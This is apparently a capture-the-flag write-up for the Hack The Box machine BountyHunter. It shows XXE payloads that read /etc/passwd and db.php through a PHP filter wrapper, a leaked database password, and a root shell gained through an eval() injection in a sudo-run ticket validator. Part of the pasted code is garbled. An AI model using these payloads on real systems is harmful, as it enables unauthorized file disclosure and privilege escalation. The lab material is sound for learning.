Hack The Box - Machine - BountyHunter

3 minute read

  3 minute read

Hack The Box - Machine - BountyHunter


Welcome to the writeup of the bountyhunter machine of the Hack The Box platform. BountyHunter is a Linux based machine that was active since July 24th to November 20th, on this machine we will find a XXE vulnerability and use it with a php wrapper to read internal files and get sensitive information, with the information gotten we will be able to connect to the machine through SSH, once inside the machine we will analyze a python script to find how we can abuse it to get code execution as root user and finish with the machine.

Before starting

Tmux for VPN connection

Connect to Hack The Box VPN in background with tmux

tmux new -s htb
sudo openvpn ~/.vpn/htb.ovpn

Add to hosts file

Add machine to /etc/hosts file, check connection with ping and create work folders

echo ' bountyhunter.htb' >> /etc/hosts
ping -c 1 bountyhunter.htb
mkdir -p ~/htb/bountyhunter.htb/{exploits,fuzz,http,nmap}


Scan with nmap

Check all ports that are open, detect the service and its version with nmap

nmap -sC -sV -p- -T4 --min-rate=1000 -v -oA all bountyhunter.htb
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Bounty Hunters
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Check website

Open firefox to inspect website

firefox http://bountyhunter.htb &

Fuzzing with gobuster

Find directories and PHP files

gobuster dir -u "http://bountyhunter.htb/" -w "/usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt" -t 23 -x php -o root_directories_php.fuzz
/assets               (Status: 301) [Size: 321] [--> http://bountyhunter.htb/assets/]
/css                  (Status: 301) [Size: 318] [--> http://bountyhunter.htb/css/]
/db.php               (Status: 200) [Size: 0]
/index.php            (Status: 200) [Size: 25169]
/js                   (Status: 301) [Size: 317] [--> http://bountyhunter.htb/js/]
/portal.php           (Status: 200) [Size: 125]
/resources            (Status: 301) [Size: 324] [--> http://bountyhunter.htb/resources/]
/server-status        (Status: 403) [Size: 281]

Interesting file db.php, response code is 200 but size is 0. Open BurpSuite and navegate to web page, the portal link in main page go to Bounty Report System.

The above fields are converted to base64 to form an XML structure, time to check XXE vulnerability.

Gain Access

Use CyberChef tool to generate payload, use To Base64 and URL Encode with special chars.

XXE Payload

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>



Do you remember db.php file found in fuzz?

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=db.php"> ]>

Payload to base64


// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";

Time to check ssh, I could not log in with admin and password, but if we check the file extracted from the previous step, we can see that there is a user named development.

ssh development@bountyhunter.htb

Privilege Escalation

sudo -l

The file /opt/skytrain_inc/ticketValidator.py is executed as root, maybe we can escalate here.

#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
        print("Wrong file type.")

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")

        if x.startswith("__Ticket Code:__"):
            code_line = i+1

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
        print("Invalid ticket.")


Reviewing the above code, you can create a markdown file to achieve the following command execution, exploit.md

# Skytrain Inc

## Ticket to root

**Ticket Code:**  
\*\*102 + 10 == 112 and **import**('os').system('/bin/bash') == False
python -m http.server 80
cd /tmp
chmod 777 exploit.md
sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py